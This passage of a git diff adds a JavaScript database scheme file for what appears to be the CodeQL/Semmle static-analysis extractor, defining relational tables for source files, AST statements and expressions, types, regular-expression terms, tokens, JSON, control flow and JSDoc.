id: @xmlattribute, + int elementid: @xmlelement ref, + varchar(900) name: string ref, + varchar(3600) value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + varchar(900) prefixName: string ref, + varchar(900) URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property; + +@optionalchainable = @call_expr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/* + * configuration files with key value pairs + */ + +configs( + unique int id: @config +); + +configNames( + unique int id: @configName, + int config: @config ref, + string name: string ref +); + +configValues( + unique int id: @configValue, + int config: @config ref, + string value: string ref +); + +configLocations( + int locatable: @configLocatable ref, + int location: @location_default ref +); + +@configLocatable = @config | @configName | @configValue; + +/** + * The time taken for the extraction of a file. + * This table contains non-deterministic content. + * + * The sum of the `time` column for each (`file`, `timerKind`) pair + * is the total time taken for extraction of `file`. The `extractionPhase` + * column provides a granular view of the extraction time of the file. + */ +extraction_time( + int file : @file ref, + // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`. + int extractionPhase: int ref, + // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds + int timerKind: int ref, + float time: float ref +) + +/** + * Non-timing related data for the extraction of a single file. + * This table contains non-deterministic content. + */ +extraction_data( + int file : @file ref, + // the absolute path to the cache file + varchar(900) cacheFile: string ref, + boolean fromCache: boolean ref, + int length: int ref +) diff --git a/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/semmlecode.javascript.dbscheme b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/semmlecode.javascript.dbscheme new file mode 100644 index 00000000000..930898a4fe0 --- /dev/null +++ b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/semmlecode.javascript.dbscheme @@ -0,0 +1,1206 @@ +/*** Standard fragments ***/ + +/** Files and folders **/ + +@location = @location_default; + +locations_default(unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref + ); + +@sourceline = @locatable; + +numlines(int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref + ); + + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files(unique int id: @file, + varchar(900) name: string ref, + varchar(900) simple: string ref, + varchar(900) ext: string ref, + int fromSource: int ref); + +folders(unique int id: @folder, + varchar(900) name: string ref, + varchar(900) simple: string ref); + + +@container = @folder | @file ; + + +containerparent(int parent: @container ref, + unique int child: @container ref); + +/** Duplicate code **/ + +duplicateCode( + unique int id : @duplication, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +similarCode( + unique int id : @similarity, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +@duplication_or_similarity = @duplication | @similarity; + +tokens( + int id : @duplication_or_similarity ref, + int offset : int ref, + int beginLine : int ref, + int beginColumn : int ref, + int endLine : int ref, + int endColumn : int ref); + +/** External data **/ + +externalData( + int id : @externalDataElement, + varchar(900) path : string ref, + int column: int ref, + varchar(900) value : string ref +); + +snapshotDate(unique date snapshotDate : date ref); + +sourceLocationPrefix(varchar(900) prefix : string ref); + +/** Version control data **/ + +svnentries( + int id : @svnentry, + varchar(500) revision : string ref, + varchar(500) author : string ref, + date revisionDate : date ref, + int changeSize : int ref +); + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + varchar(500) action : string ref +); + +svnentrymsg( + int id : @svnentry ref, + varchar(500) message : string ref +); + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +); + + +/*** JavaScript-specific part ***/ + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +is_externs (int toplevel: @toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url +| 4 = @angular_template_toplevel; + +is_module (int tl: @toplevel ref); +is_nodejs (int tl: @toplevel ref); +is_es2015_module (int tl: @toplevel ref); +is_closure_module (int tl: @toplevel ref); + +@xml_node_with_code = @xmlelement | @xmlattribute; +toplevel_parent_xml_node( + unique int toplevel: @toplevel ref, + int xmlnode: @xml_node_with_code ref); + +xml_element_parent_expression( + unique int xmlnode: @xmlelement ref, + int expression: @expr ref, + int index: int ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmt_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmt_containers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jump_targets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr; +@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration; + +case @stmt.kind of + 0 = @empty_stmt +| 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @labeled_stmt +| 5 = @break_stmt +| 6 = @continue_stmt +| 7 = @with_stmt +| 8 = @switch_stmt +| 9 = @return_stmt +| 10 = @throw_stmt +| 11 = @try_stmt +| 12 = @while_stmt +| 13 = @do_while_stmt +| 14 = @for_stmt +| 15 = @for_in_stmt +| 16 = @debugger_stmt +| 17 = @function_decl_stmt +| 18 = @var_decl_stmt +| 19 = @case +| 20 = @catch_clause +| 21 = @for_of_stmt +| 22 = @const_decl_stmt +| 23 = @let_stmt +| 24 = @legacy_let_stmt +| 25 = @for_each_stmt +| 26 = @class_decl_stmt +| 27 = @import_declaration +| 28 = @export_all_declaration +| 29 = @export_default_declaration +| 30 = @export_named_declaration +| 31 = @namespace_declaration +| 32 = @import_equals_declaration +| 33 = @export_assign_declaration +| 34 = @interface_declaration +| 35 = @type_alias_declaration +| 36 = @enum_declaration +| 37 = @external_module_declaration +| 38 = @export_as_namespace_declaration +| 39 = @global_augmentation_declaration +; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt; + +@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration; + +@namespace_definition = @namespace_declaration | @enum_declaration; +@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member; + +is_instantiated(unique int decl: @namespace_declaration ref); + +@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field; +has_declare_keyword(unique int stmt: @declarable_node ref); + +is_for_await_of(unique int forof: @for_of_stmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @expr_or_type ref); + +enclosing_stmt (unique int expr: @expr_or_type ref, + int stmt: @stmt ref); + +expr_containers (unique int expr: @expr_or_type ref, + int container: @stmt_container ref); + +array_size (unique int ae: @arraylike ref, + int sz: int ref); + +is_delegating (int yield: @yield_expr ref); + +@expr_or_stmt = @expr | @stmt; +@expr_or_type = @expr | @typeexpr; +@expr_parent = @expr_or_stmt | @property | @function_typeexpr; +@arraylike = @array_expr | @array_pattern; +@type_annotation = @typeexpr | @jsdoc_type_expr; +@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel; + +case @expr.kind of + 0 = @label +| 1 = @null_literal +| 2 = @boolean_literal +| 3 = @number_literal +| 4 = @string_literal +| 5 = @regexp_literal +| 6 = @this_expr +| 7 = @array_expr +| 8 = @obj_expr +| 9 = @function_expr +| 10 = @seq_expr +| 11 = @conditional_expr +| 12 = @new_expr +| 13 = @call_expr +| 14 = @dot_expr +| 15 = @index_expr +| 16 = @neg_expr +| 17 = @plus_expr +| 18 = @log_not_expr +| 19 = @bit_not_expr +| 20 = @typeof_expr +| 21 = @void_expr +| 22 = @delete_expr +| 23 = @eq_expr +| 24 = @neq_expr +| 25 = @eqq_expr +| 26 = @neqq_expr +| 27 = @lt_expr +| 28 = @le_expr +| 29 = @gt_expr +| 30 = @ge_expr +| 31 = @lshift_expr +| 32 = @rshift_expr +| 33 = @urshift_expr +| 34 = @add_expr +| 35 = @sub_expr +| 36 = @mul_expr +| 37 = @div_expr +| 38 = @mod_expr +| 39 = @bitor_expr +| 40 = @xor_expr +| 41 = @bitand_expr +| 42 = @in_expr +| 43 = @instanceof_expr +| 44 = @logand_expr +| 45 = @logor_expr +| 47 = @assign_expr +| 48 = @assign_add_expr +| 49 = @assign_sub_expr +| 50 = @assign_mul_expr +| 51 = @assign_div_expr +| 52 = @assign_mod_expr +| 53 = @assign_lshift_expr +| 54 = @assign_rshift_expr +| 55 = @assign_urshift_expr +| 56 = @assign_or_expr +| 57 = @assign_xor_expr +| 58 = @assign_and_expr +| 59 = @preinc_expr +| 60 = @postinc_expr +| 61 = @predec_expr +| 62 = @postdec_expr +| 63 = @par_expr +| 64 = @var_declarator +| 65 = @arrow_function_expr +| 66 = @spread_element +| 67 = @array_pattern +| 68 = @object_pattern +| 69 = @yield_expr +| 70 = @tagged_template_expr +| 71 = @template_literal +| 72 = @template_element +| 73 = @array_comprehension_expr +| 74 = @generator_expr +| 75 = @for_in_comprehension_block +| 76 = @for_of_comprehension_block +| 77 = @legacy_letexpr +| 78 = @var_decl +| 79 = @proper_varaccess +| 80 = @class_expr +| 81 = @super_expr +| 82 = @newtarget_expr +| 83 = @named_import_specifier +| 84 = @import_default_specifier +| 85 = @import_namespace_specifier +| 86 = @named_export_specifier +| 87 = @exp_expr +| 88 = @assign_exp_expr +| 89 = @jsx_element +| 90 = @jsx_qualified_name +| 91 = @jsx_empty_expr +| 92 = @await_expr +| 93 = @function_sent_expr +| 94 = @decorator +| 95 = @export_default_specifier +| 96 = @export_namespace_specifier +| 97 = @bind_expr +| 98 = @external_module_reference +| 99 = @dynamic_import +| 100 = @expression_with_type_arguments +| 101 = @prefix_type_assertion +| 102 = @as_type_assertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigint_literal +| 107 = @nullishcoalescing_expr +| 108 = @e4x_xml_anyname +| 109 = @e4x_xml_static_attribute_selector +| 110 = @e4x_xml_dynamic_attribute_selector +| 111 = @e4x_xml_filter_expression +| 112 = @e4x_xml_static_qualident +| 113 = @e4x_xml_dynamic_qualident +| 114 = @e4x_xml_dotdotexpr +| 115 = @import_meta_expr +| 116 = @assignlogandexpr +| 117 = @assignlogorexpr +| 118 = @assignnullishcoalescingexpr +| 119 = @angular_pipe_ref +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @var_decl | @varaccess; + +@identifier = @label | @varref | @type_identifier; + +@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal; + +@propaccess = @dot_expr | @index_expr; + +@invokeexpr = @new_expr | @call_expr; + +@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element; + +@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr; + +@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr; + +@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr; + +@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr; + +@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr; + +@pattern = @varref | @array_pattern | @object_pattern; + +@comprehension_expr = @array_comprehension_expr | @generator_expr; + +@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block; + +@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier; + +@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier; + +@import_or_export_declaration = @import_declaration | @export_declaration; + +@type_assertion = @as_type_assertion | @prefix_type_assertion; + +@class_definition = @class_decl_stmt | @class_expr; +@interface_definition = @interface_declaration | @interface_typeexpr; +@class_or_interface = @class_definition | @interface_definition; + +@lexical_decl = @var_decl | @type_decl; +@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access; +@lexical_ref = @lexical_decl | @lexical_access; + +@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector; +@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident; + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @global_scope +| 1 = @function_scope +| 2 = @catch_scope +| 3 = @module_scope +| 4 = @block_scope +| 5 = @for_scope +| 6 = @for_in_scope // for-of scopes work the same as for-in scopes +| 7 = @comprehension_block_scope +| 8 = @class_expr_scope +| 9 = @namespace_scope +| 10 = @class_decl_scope +| 11 = @interface_scope +| 12 = @type_alias_scope +| 13 = @mapped_type_scope +| 14 = @enum_scope +| 15 = @external_module_scope +| 16 = @conditional_type_scope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @function_decl_stmt | @function_expr | @arrow_function_expr; + +@parameterized = @function | @catch_clause; +@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr; + +is_generator (int fun: @function ref); +has_rest_parameter (int fun: @function ref); +is_async (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +is_arguments_object (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @local_var_type_access; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @var_decl ref, + int decl: @variable ref); + +@typebind_id = @local_type_access | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @type_decl | @var_decl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @var_decl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @local_namespace_access | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +; + +@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @var_declarator; + +is_computed (int id: @property ref); +is_method (int id: @property ref); +is_static (int id: @property ref); +is_abstract_member (int id: @property ref); +is_const_enum (int id: @enum_declaration ref); +is_abstract_class (int id: @class_decl_stmt ref); + +has_public_keyword (int id: @property ref); +has_private_keyword (int id: @property ref); +has_protected_keyword (int id: @property ref); +has_readonly_keyword (int id: @property ref); +has_type_keyword (int id: @import_or_export_declaration ref); +is_optional_member (int id: @property ref); +has_definite_assignment_assertion (int id: @field_or_vardeclarator ref); +is_optional_parameter_declaration (unique int parameter: @pattern ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @function_expr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @local_type_access +| 1 = @type_decl +| 2 = @keyword_typeexpr +| 3 = @string_literal_typeexpr +| 4 = @number_literal_typeexpr +| 5 = @boolean_literal_typeexpr +| 6 = @array_typeexpr +| 7 = @union_typeexpr +| 8 = @indexed_access_typeexpr +| 9 = @intersection_typeexpr +| 10 = @parenthesized_typeexpr +| 11 = @tuple_typeexpr +| 12 = @keyof_typeexpr +| 13 = @qualified_type_access +| 14 = @generic_typeexpr +| 15 = @type_label +| 16 = @typeof_typeexpr +| 17 = @local_var_type_access +| 18 = @qualified_var_type_access +| 19 = @this_var_type_access +| 20 = @predicate_typeexpr +| 21 = @interface_typeexpr +| 22 = @type_parameter +| 23 = @plain_function_typeexpr +| 24 = @constructor_typeexpr +| 25 = @local_namespace_access +| 26 = @qualified_namespace_access +| 27 = @mapped_typeexpr +| 28 = @conditional_typeexpr +| 29 = @infer_typeexpr +| 30 = @import_type_access +| 31 = @import_namespace_access +| 32 = @import_var_type_access +| 33 = @optional_typeexpr +| 34 = @rest_typeexpr +| 35 = @bigint_literal_typeexpr +| 36 = @readonly_typeexpr +| 37 = @template_literal_typeexpr +; + +@typeref = @typeaccess | @type_decl; +@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr; +@typeaccess = @local_type_access | @qualified_type_access | @import_type_access; +@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access; +@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access; +@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access; + +@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @any_type +| 1 = @string_type +| 2 = @number_type +| 3 = @union_type +| 4 = @true_type +| 5 = @false_type +| 6 = @type_reference +| 7 = @object_type +| 8 = @canonical_type_variable_type +| 9 = @typeof_type +| 10 = @void_type +| 11 = @undefined_type +| 12 = @null_type +| 13 = @never_type +| 14 = @plain_symbol_type +| 15 = @unique_symbol_type +| 16 = @objectkeyword_type +| 17 = @intersection_type +| 18 = @tuple_type +| 19 = @lexical_type_variable_type +| 20 = @this_type +| 21 = @number_literal_type +| 22 = @string_literal_type +| 23 = @unknown_type +| 24 = @bigint_type +| 25 = @bigint_literal_type +; + +@boolean_literal_type = @true_type | @false_type; +@symbol_type = @plain_symbol_type | @unique_symbol_type; +@union_or_intersection_type = @union_type | @intersection_type; +@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type; + +has_asserts_keyword(int node: @predicate_typeexpr ref); + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +declared_function_signature( + unique int node: @function ref, + int sig: @signature_type ref +); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type; +@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +type_alias( + unique int aliasType: @type ref, + int underlyingType: @type ref); + +@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type; +@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +signature_rest_parameter( + unique int sig: @signature_type ref, + int rest_param_arra_type: @type ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @type_reference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest( + unique int typ: @type ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslash_comment +| 1 = @slashstar_comment +| 2 = @doc_comment +| 3 = @html_comment_start +| 4 = @htmlcommentend; + +@html_comment = @html_comment_start | @htmlcommentend; +@line_comment = @slashslash_comment | @html_comment; +@block_comment = @slashstar_comment | @doc_comment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +js_parse_errors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexp_literal | @string_literal; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_constant +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = @regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape; + +regexp_parse_errors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_constant | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; +@regexp_anchor = @regexp_dollar | @regexp_caret; + +is_greedy (int id: @regexp_quantifier ref); +range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref); +range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref); +is_capture (unique int id: @regexp_group ref, int number: int ref); +is_named_capture (unique int id: @regexp_group ref, string name: string ref); +is_inverted (int id: @regexp_char_class ref); +regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref); +char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +named_backref (unique int id: @regexp_backref ref, string name: string ref); +unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +json_locations(unique int locatable: @json_locatable ref, + int location: @location_default ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +@json_locatable = @json_value | @json_parse_error; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error + | @regexpterm + | @json_locatable + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_locatable + | @xmllocatable + | @configLocatable; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @expr_parent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_named_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = @jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: 